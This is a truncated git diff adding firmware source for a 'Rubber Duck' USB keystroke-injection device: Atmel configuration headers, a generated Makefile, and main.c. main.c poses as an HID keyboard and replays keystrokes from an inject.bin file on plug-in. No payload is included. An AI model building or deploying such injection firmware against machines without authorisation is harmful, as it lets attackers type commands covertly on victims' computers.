PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_SLEEPMGR_H +#define CONF_SLEEPMGR_H + +// Sleep manager options +#define CONFIG_SLEEPMGR_ENABLE + +#endif /* CONF_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_usb.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_usb.h new file mode 100755 index 0000000..6bd48f4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_usb.h @@ -0,0 +1,125 @@ +/** + * \file + * + * \brief USB configuration file + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _CONF_USB_H_ +#define _CONF_USB_H_ + +#include "compiler.h" +#include "main.h" + +/** + * USB Device Configuration + * @{ + */ + +//! Device definition (mandatory) +#define USB_DEVICE_VENDOR_ID USB_VID_ATMEL +#define USB_DEVICE_PRODUCT_ID USB_PID_ATMEL_AVR_HIDKEYBOARD +#define USB_DEVICE_MAJOR_VERSION 1 +#define USB_DEVICE_MINOR_VERSION 0 +#define USB_DEVICE_POWER 100 // Consumption on Vbus line (mA) +#define USB_DEVICE_ATTR \ + (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_BUS_POWERED) +// (USB_CONFIG_ATTR_SELF_POWERED) +// (USB_CONFIG_ATTR_BUS_POWERED) +// (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_SELF_POWERED) + + +//! USB Device string definitions (Optional) +#define USB_DEVICE_MANUFACTURE_NAME "ATMEL AVR" +#define USB_DEVICE_PRODUCT_NAME "HID Keyboard" +// #define USB_DEVICE_SERIAL_NAME "12...EF" + +/** + * Device speeds support + * @{ + */ +//! To define a Low speed device +//#define USB_DEVICE_LOW_SPEED + +//! To authorize the High speed +#if (UC3A3||UC3A4) +//#define USB_DEVICE_HS_SUPPORT +#endif +//@} + +/** + * USB Device Callbacks definitions (Optional) + * @{ + */ +//#define UDC_VBUS_EVENT(b_vbus_high) main_vbus_action(b_vbus_high) +#define UDC_SOF_EVENT() main_sof_action() +#define UDC_SUSPEND_EVENT() main_suspend_action() +#define UDC_RESUME_EVENT() main_resume_action() +//! Mandatory when USB_DEVICE_ATTR authorizes remote wakeup feature +#define UDC_REMOTEWAKEUP_ENABLE() main_remotewakeup_enable() +#define UDC_REMOTEWAKEUP_DISABLE() main_remotewakeup_disable() +//! When a extra string descriptor must be supported +//! other than manufacturer, product and serial string +// #define UDC_GET_EXTRA_STRING() +//@} + +//@} + + +/** + * USB Interface Configuration + * @{ + */ +/** + * Configuration of HID Keyboard interface (if used) + * @{ + */ +//! Interface callback definition +#define UDI_HID_KBD_ENABLE_EXT() main_kbd_enable() +#define UDI_HID_KBD_DISABLE_EXT() main_kbd_disable() +#define UDI_HID_KBD_CHANGE_LED(value) main_kbd_change(value) +//@} +//@} + + +/** + * USB Device Driver Configuration + * @{ + */ +//@} + +//! The includes of classes and other headers must be done at the end of this file to avoid compile error +#include "udi_hid_kbd_conf.h" + +#endif // _CONF_USB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.c new file mode 100755 index 0000000..67758ba --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.c @@ -0,0 +1,294 @@ +//_____ M A I N ___________________________________________________________ +// +// Module : Ducky +// Description : Simple USB HID Keyboard injection +// Date : April 1, 2012 +// Author : Snake +// Credit : ATMEL, Jason Applebaum keyscan's method. +//__________________________________________________________________________ + +//_____ I N C L U D E S ___________________________________________________ +#include +#include "compiler.h" +#include "main.h" +#include "preprocessor.h" +#include "board.h" +#include "ctrl_access.h" +#include "power_clocks_lib.h" +#include "gpio.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "fat.h" +#include "file.h" +#include "navigation.h" +#include "conf_usb.h" +#include "udc.h" +#include "udd.h" +#include "led.h" +#include "udi_hid_kbd.h" +#include "sysclk.h" +#include "sleepmgr.h" + +//_____ D E C L A R A T I O N S ____________________________________________ + +// filename +char *injectFile = "A:\\inject.bin"; + +// state machine enum +typedef enum injectState { + state_IDLE, + state_START_INJECT, + state_INJECTING, + state_KEY_DOWN, + state_KEY_UP, + state_MOD_DOWN, + state_MOD_KEY_DOWN, + state_MOD_KEY_UP, + state_MOD_UP, + state_WAIT +} injectState_t; + +//_____ F U N C T I O N S __________________________________________________ + +// initializes the SD/MMC memory resources: GPIO, SPI and MMC +//------------------------------------------------------------------- +static void sd_mmc_resources_init(long pba_hz) { + + // GPIO pins used for SD/MMC interface + static const gpio_map_t SD_MMC_SPI_GPIO_MAP = { + {SD_MMC_SPI_SCK_PIN, SD_MMC_SPI_SCK_FUNCTION }, // SPI Clock. + {SD_MMC_SPI_MISO_PIN, SD_MMC_SPI_MISO_FUNCTION}, // MISO. + {SD_MMC_SPI_MOSI_PIN, SD_MMC_SPI_MOSI_FUNCTION}, // MOSI. + {SD_MMC_SPI_NPCS_PIN, SD_MMC_SPI_NPCS_FUNCTION} // Chip Select NPCS. + }; + + // SPI options. + spi_options_t spiOptions = { + .reg = SD_MMC_SPI_NPCS, + .baudrate = SD_MMC_SPI_MASTER_SPEED, // Defined in conf_sd_mmc_spi.h. + .bits = SD_MMC_SPI_BITS, // Defined in conf_sd_mmc_spi.h. + .spck_delay = 0, + .trans_delay = 0, + .stay_act = 1, + .spi_mode = 0, + .modfdis = 1 + }; + + // assign I/Os to SPI. + gpio_enable_module(SD_MMC_SPI_GPIO_MAP, + sizeof(SD_MMC_SPI_GPIO_MAP) / sizeof(SD_MMC_SPI_GPIO_MAP[0])); + + // initialize as master. + spi_initMaster(SD_MMC_SPI, &spiOptions); + + // set SPI selection mode: variable_ps, pcs_decode, delay. + spi_selectionMode(SD_MMC_SPI, 0, 0, 0); + + // enable SPI module. + spi_enable(SD_MMC_SPI); + + // Initialize SD/MMC driver with SPI clock (PBA). + sd_mmc_spi_init(spiOptions, pba_hz); +} + +// process a USB frame +//------------------------------------------------------------------- +void process_frame(uint16_t framenumber) +{ + static uint8_t cpt_sof = 0; + static injectState_t state = state_START_INJECT; + static uint8_t wait = 0; + static uint16_t debounce = 0; + static uint16_t injectToken = 0x0000; + + // scan process running each 2ms + cpt_sof++; + if( 2 > cpt_sof ) + return; + cpt_sof = 0; + + // pulse led + LED_Set_Intensity( LED0, framenumber >> 1 ); + + // debounce switch + if( debounce > 0 ) --debounce; + + // injection state machine + switch(state) { + + case state_IDLE: + // check switch + if( gpio_get_pin_value(GPIO_JOYSTICK_PUSH) == GPIO_JOYSTICK_PUSH_PRESSED ) { + + // debounce + if( debounce == 0 ) { + state = state_START_INJECT; + debounce = 250; + } + } + break; + + case state_START_INJECT: + file_open(FOPEN_MODE_R); + state = state_INJECTING; + break; + + case state_INJECTING: + + if( file_eof() ) { + file_close(); + state = state_IDLE; + break; + } + + injectToken = ( file_getc() | ( file_getc() << 8 ) ); + + if( ( injectToken&0xff ) == 0x00 ) { + wait = injectToken>>8; + state = state_WAIT; + } + else if( ( injectToken>>8 ) == 0x00 ) { + state = state_KEY_DOWN; + } + else { + state = state_MOD_DOWN; + } + break; + + case state_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_KEY_UP; + break; + + case state_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_INJECTING; + break; + + case state_MOD_DOWN: + udi_hid_kbd_modifier_down(injectToken>>8); + state = state_MOD_KEY_DOWN; + break; + + case state_MOD_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_MOD_KEY_UP; + break; + + case state_MOD_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_MOD_UP; + break; + + case state_MOD_UP: + udi_hid_kbd_modifier_up(injectToken>>8); + state = state_INJECTING; + break; + + case state_WAIT: + if( --wait == 0 ) { + state = state_INJECTING; + } + break; + + default: + state = state_IDLE; + } +} + +// Main Method - IRQ, CLCK, INIT setup +//------------------------------------------------------------------- +int main(void) { + + uint32_t sizeTemp; + + // init cpu + irq_initialize_vectors(); + cpu_irq_enable(); + + // init board + sleepmgr_init(); + sysclk_init(); + board_init(); + + // initialize SD/MMC resources: GPIO, SPI. + sd_mmc_resources_init(FOSC0); + + // test if the memory is ready - using the control access memory abstraction layer (/SERVICES/MEMORY/CTRL_ACCESS/) + if (mem_test_unit_ready(LUN_ID_SD_MMC_SPI_MEM) == CTRL_GOOD) { + // Get and display the capacity + mem_read_capacity(LUN_ID_SD_MMC_SPI_MEM, &sizeTemp); + } + else { + // error - we can't proceed - sit and spin... + while(true) { LED_On( LED1 ); } + } + + nav_reset(); + if( !nav_setcwd( injectFile, true, false ) ) { + //try to open a://inject.bin else sit here + while(true) { + LED_On( LED1 ); + for (int i=0; i<10000; i++){} + LED_Off(LED1); + } + } + // Start USB stack + udc_start(); + udc_attach(); + + while(true) { + //do nothing - handle interrupts and events + //sleepmgr_enter_sleep(); + } +} + +//------------------------------------------------------------------- +void main_suspend_action(void) +{ + LED_Off(LED0); + LED_Off(LED1); +} + +//------------------------------------------------------------------- +void main_resume_action(void) +{ +} + +//------------------------------------------------------------------- +void main_sof_action(void) +{ + process_frame( udd_get_frame_number() ); + +} + +//------------------------------------------------------------------- +// If remote wakeup enable/disable is supported insert code below +void main_remotewakeup_enable(void) +{ +} + +//------------------------------------------------------------------- +void main_remotewakeup_disable(void) +{ +} + +//------------------------------------------------------------------- +bool main_kbd_enable(void) +{ + //main_b_kbd_enable = true; + return true; +} + +//------------------------------------------------------------------- +bool main_kbd_disable(void) +{ + //main_b_kbd_enable = false; mod + return false; +} + +//------------------------------------------------------------------- +void main_kbd_change(uint8_t value) +{ + //no use in this firmware +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.h new file mode 100755 index 0000000..de05b07 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.h @@ -0,0 +1,88 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief Declaration of main function used by HID mouse example + * + * - Compiler: IAR EWAVR and GNU GCC for AVR + * - Supported devices: All AVR devices with a USB module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _MAIN_H_ +#define _MAIN_H_ + +#include "compiler.h" + +/*! \brief Called by HID interface + * Callback running when USB Host enable kbd interface + * + * \retval true if mouse startup is ok + */ +bool main_kbd_enable(void); + +/*! \brief Called by HID interface + * Callback running when USB Host disable kbd interface + */ +bool main_kbd_disable(void); + +/*! \brief Called when a start of frame is received on USB line + */ +void main_sof_action(void); + +/*! \brief Called by UDD when a suspend is received + * Callback running when USB Host set USB line in suspend state + */ +void main_suspend_action(void); + +/*! \brief Called by UDD when the USB line exit of suspend state + */ +void main_resume_action(void); + +/*! \brief Called by UDC when USB Host request to enable remote wakeup + */ +void main_remotewakeup_enable(void); + +/*! \brief Called by UDC when USB Host request to disable remote wakeup + */ +void main_remotewakeup_disable(void); + +/*! \brief Called by UDC when USB Host setreport + */ +void main_kbd_change(uint8_t value); + +#endif // _MAIN_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/Makefile b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/Makefile new file mode 100644 index 0000000..d1631e6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/Makefile @@ -0,0 +1,461 @@ +################################################################################ +# Automatically-generated file. Do not edit! +################################################################################ + +SHELL := cmd.exe +RM := rm -rf + +USER_OBJS := + +LIBS := +PROJ := + +O_SRCS := +C_SRCS := +S_SRCS := +S_UPPER_SRCS := +OBJ_SRCS := +ASM_SRCS := +PREPROCESSING_SRCS := +OBJS := +OBJS_AS_ARGS := +C_DEPS := +C_DEPS_AS_ARGS := +EXECUTABLES := +OUTPUT_FILE_PATH := +OUTPUT_FILE_PATH_AS_ARGS := +AVR_APP_PATH :=$$$AVR_APP_PATH$$$ +QUOTE := " +ADDITIONAL_DEPENDENCIES:= +OUTPUT_FILE_DEP:= + +# Every subdirectory with source files must be described here +SUBDIRS := \ +../src/ \ +../src/asf/ \ +../src/asf/avr32/ \ +../src/asf/avr32/boards/ \ +../src/asf/avr32/boards/evk1101/ \ +../src/asf/avr32/components/ \ +../src/asf/avr32/components/memory/ \ +../src/asf/avr32/components/memory/sd_mmc/ \ +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/ \ +../src/asf/avr32/drivers/ \ +../src/asf/avr32/drivers/flashc/ \ +../src/asf/avr32/drivers/gpio/ \ +../src/asf/avr32/drivers/intc/ \ +../src/asf/avr32/drivers/pm/ \ +../src/asf/avr32/drivers/spi/ \ +../src/asf/avr32/drivers/usbb/ \ +../src/asf/avr32/services/ \ +../src/asf/avr32/services/fs/ \ +../src/asf/avr32/services/fs/fat/ \ +../src/asf/avr32/utils/ \ +../src/asf/avr32/utils/linker_scripts/ \ +../src/asf/avr32/utils/linker_scripts/at32uc3b/ \ +../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/ \ +../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/ \ +../src/asf/avr32/utils/preprocessor/ \ +../src/asf/avr32/utils/startup/ \ +../src/asf/common/ \ +../src/asf/common/boards/ \ +../src/asf/common/services/ \ +../src/asf/common/services/clock/ \ +../src/asf/common/services/clock/uc3b0_b1/ \ +../src/asf/common/services/sleepmgr/ \ +../src/asf/common/services/sleepmgr/uc3/ \ +../src/asf/common/services/storage/ \ +../src/asf/common/services/storage/ctrl_access/ \ +../src/asf/common/services/usb/ \ +../src/asf/common/services/usb/class/ \ +../src/asf/common/services/usb/class/hid/ \ +../src/asf/common/services/usb/class/hid/device/ \ +../src/asf/common/services/usb/class/hid/device/kbd/ \ +../src/asf/common/services/usb/udc/ \ +../src/asf/common/utils/ \ +../src/asf/common/utils/interrupt/ \ +../src/config/ + + +# Add inputs and outputs from these tool invocations to the build variables +C_SRCS += \ +../src/asf/avr32/boards/evk1101/init.c \ +../src/asf/avr32/boards/evk1101/led.c \ +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c \ +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.c \ +../src/asf/avr32/drivers/flashc/flashc.c \ +../src/asf/avr32/drivers/gpio/gpio.c \ +../src/asf/avr32/drivers/intc/intc.c \ +../src/asf/avr32/drivers/pm/pm.c \ +../src/asf/avr32/drivers/pm/pm_conf_clocks.c \ +../src/asf/avr32/drivers/pm/power_clocks_lib.c \ +../src/asf/avr32/drivers/spi/spi.c \ +../src/asf/avr32/drivers/usbb/usbb_device.c \ +../src/asf/avr32/services/fs/fat/fat.c \ +../src/asf/avr32/services/fs/fat/fat_unusual.c \ +../src/asf/avr32/services/fs/fat/file.c \ +../src/asf/avr32/services/fs/fat/navigation.c \ +../src/asf/common/services/clock/uc3b0_b1/sysclk.c \ +../src/asf/common/services/sleepmgr/uc3/sleepmgr.c \ +../src/asf/common/services/storage/ctrl_access/ctrl_access.c \ +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c \ +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c \ +../src/asf/common/services/usb/class/hid/device/udi_hid.c \ +../src/asf/common/services/usb/udc/udc.c \ +../src/main.c + + +PREPROCESSING_SRCS += \ +../src/asf/avr32/drivers/intc/exception.S \ +../src/asf/avr32/utils/startup/startup_uc3.S \ +../src/asf/avr32/utils/startup/trampoline_uc3.S + + +ASM_SRCS += + + +OBJS += \ +src/asf/avr32/boards/evk1101/init.o \ +src/asf/avr32/boards/evk1101/led.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o \ +src/asf/avr32/drivers/flashc/flashc.o \ +src/asf/avr32/drivers/gpio/gpio.o \ +src/asf/avr32/drivers/intc/exception.o \ +src/asf/avr32/drivers/intc/intc.o \ +src/asf/avr32/drivers/pm/pm.o \ +src/asf/avr32/drivers/pm/pm_conf_clocks.o \ +src/asf/avr32/drivers/pm/power_clocks_lib.o \ +src/asf/avr32/drivers/spi/spi.o \ +src/asf/avr32/drivers/usbb/usbb_device.o \ +src/asf/avr32/services/fs/fat/fat.o \ +src/asf/avr32/services/fs/fat/fat_unusual.o \ +src/asf/avr32/services/fs/fat/file.o \ +src/asf/avr32/services/fs/fat/navigation.o \ +src/asf/avr32/utils/startup/startup_uc3.o \ +src/asf/avr32/utils/startup/trampoline_uc3.o \ +src/asf/common/services/clock/uc3b0_b1/sysclk.o \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.o \ +src/asf/common/services/storage/ctrl_access/ctrl_access.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o \ +src/asf/common/services/usb/class/hid/device/udi_hid.o \ +src/asf/common/services/usb/udc/udc.o \ +src/main.o + + +OBJS_AS_ARGS += \ +src/asf/avr32/boards/evk1101/init.o \ +src/asf/avr32/boards/evk1101/led.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o \ +src/asf/avr32/drivers/flashc/flashc.o \ +src/asf/avr32/drivers/gpio/gpio.o \ +src/asf/avr32/drivers/intc/exception.o \ +src/asf/avr32/drivers/intc/intc.o \ +src/asf/avr32/drivers/pm/pm.o \ +src/asf/avr32/drivers/pm/pm_conf_clocks.o \ +src/asf/avr32/drivers/pm/power_clocks_lib.o \ +src/asf/avr32/drivers/spi/spi.o \ +src/asf/avr32/drivers/usbb/usbb_device.o \ +src/asf/avr32/services/fs/fat/fat.o \ +src/asf/avr32/services/fs/fat/fat_unusual.o \ +src/asf/avr32/services/fs/fat/file.o \ +src/asf/avr32/services/fs/fat/navigation.o \ +src/asf/avr32/utils/startup/startup_uc3.o \ +src/asf/avr32/utils/startup/trampoline_uc3.o \ +src/asf/common/services/clock/uc3b0_b1/sysclk.o \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.o \ +src/asf/common/services/storage/ctrl_access/ctrl_access.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o \ +src/asf/common/services/usb/class/hid/device/udi_hid.o \ +src/asf/common/services/usb/udc/udc.o \ +src/main.o + + +C_DEPS += \ +src/asf/avr32/boards/evk1101/init.d \ +src/asf/avr32/boards/evk1101/led.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d \ +src/asf/avr32/drivers/flashc/flashc.d \ +src/asf/avr32/drivers/gpio/gpio.d \ +src/asf/avr32/drivers/intc/intc.d \ +src/asf/avr32/drivers/pm/pm.d \ +src/asf/avr32/drivers/pm/pm_conf_clocks.d \ +src/asf/avr32/drivers/pm/power_clocks_lib.d \ +src/asf/avr32/drivers/spi/spi.d \ +src/asf/avr32/drivers/usbb/usbb_device.d \ +src/asf/avr32/services/fs/fat/fat.d \ +src/asf/avr32/services/fs/fat/fat_unusual.d \ +src/asf/avr32/services/fs/fat/file.d \ +src/asf/avr32/services/fs/fat/navigation.d \ +src/asf/common/services/clock/uc3b0_b1/sysclk.d \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.d \ +src/asf/common/services/storage/ctrl_access/ctrl_access.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d \ +src/asf/common/services/usb/class/hid/device/udi_hid.d \ +src/asf/common/services/usb/udc/udc.d \ +src/main.d + + +C_DEPS_AS_ARGS += \ +src/asf/avr32/boards/evk1101/init.d \ +src/asf/avr32/boards/evk1101/led.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d \ +src/asf/avr32/drivers/flashc/flashc.d \ +src/asf/avr32/drivers/gpio/gpio.d \ +src/asf/avr32/drivers/intc/intc.d \ +src/asf/avr32/drivers/pm/pm.d \ +src/asf/avr32/drivers/pm/pm_conf_clocks.d \ +src/asf/avr32/drivers/pm/power_clocks_lib.d \ +src/asf/avr32/drivers/spi/spi.d \ +src/asf/avr32/drivers/usbb/usbb_device.d \ +src/asf/avr32/services/fs/fat/fat.d \ +src/asf/avr32/services/fs/fat/fat_unusual.d \ +src/asf/avr32/services/fs/fat/file.d \ +src/asf/avr32/services/fs/fat/navigation.d \ +src/asf/common/services/clock/uc3b0_b1/sysclk.d \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.d \ +src/asf/common/services/storage/ctrl_access/ctrl_access.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d \ +src/asf/common/services/usb/class/hid/device/udi_hid.d \ +src/asf/common/services/usb/udc/udc.d \ +src/main.d + + +OUTPUT_FILE_PATH +=duck.elf + +OUTPUT_FILE_PATH_AS_ARGS +=duck.elf + +ADDITIONAL_DEPENDENCIES:= + +OUTPUT_FILE_DEP:= ./makedep.mk + +# AVR32/GNU C Compiler + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +src/asf/avr32/boards/evk1101/%.o: ../src/asf/avr32/boards/evk1101/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/%.o: ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/flashc/%.o: ../src/asf/avr32/drivers/flashc/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" 